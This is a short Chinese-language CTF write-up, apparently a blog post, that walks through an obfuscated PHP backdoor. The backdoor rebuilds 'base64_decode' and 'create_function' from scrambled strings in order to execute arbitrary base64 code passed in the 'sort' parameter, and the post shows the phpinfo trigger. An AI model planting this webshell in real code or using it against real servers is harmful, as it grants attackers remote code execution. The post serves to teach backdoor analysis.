Raccoon——(Web)PHP 后门分析writeup

题目
网页源代码如下:(我已经备注了很详细的注释)

<?php 
	$z0=$_REQUEST['sort'];
	$q1='';
	$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";
	$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);
	foreach($y3 as $h4){$q1.=$c2[$h4];}   //foreach循环    q1=base64_decode
	$v5=strrev("noi"."tcnuf"."_eta"."erc");  //strrev反转字符串  create_function('参数','函数体代码')函数主要用来创建匿名函数,
	$j6=$v5("",$q1($z0));    // j6 = create_function("",base64_decode(sort))
	$j6();   //空函数,就是在执行匿名函数的  函数体代码,要想执行phpinfo函数,于是要将    phpinfo();   进行 base64加密后 传给sort参数
	              //  sort=cGhwaW5mbygpOw==
//foreach (array_expression as $value)
//第一种:遍历给定的 数组语句 array_expression 数组。
//每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
//foreach (array_expression as $key => $value)
//第二种:同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。	
	
	
	
?>
发布了34 篇原创文章 · 获赞 51 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_39480875/article/details/90415425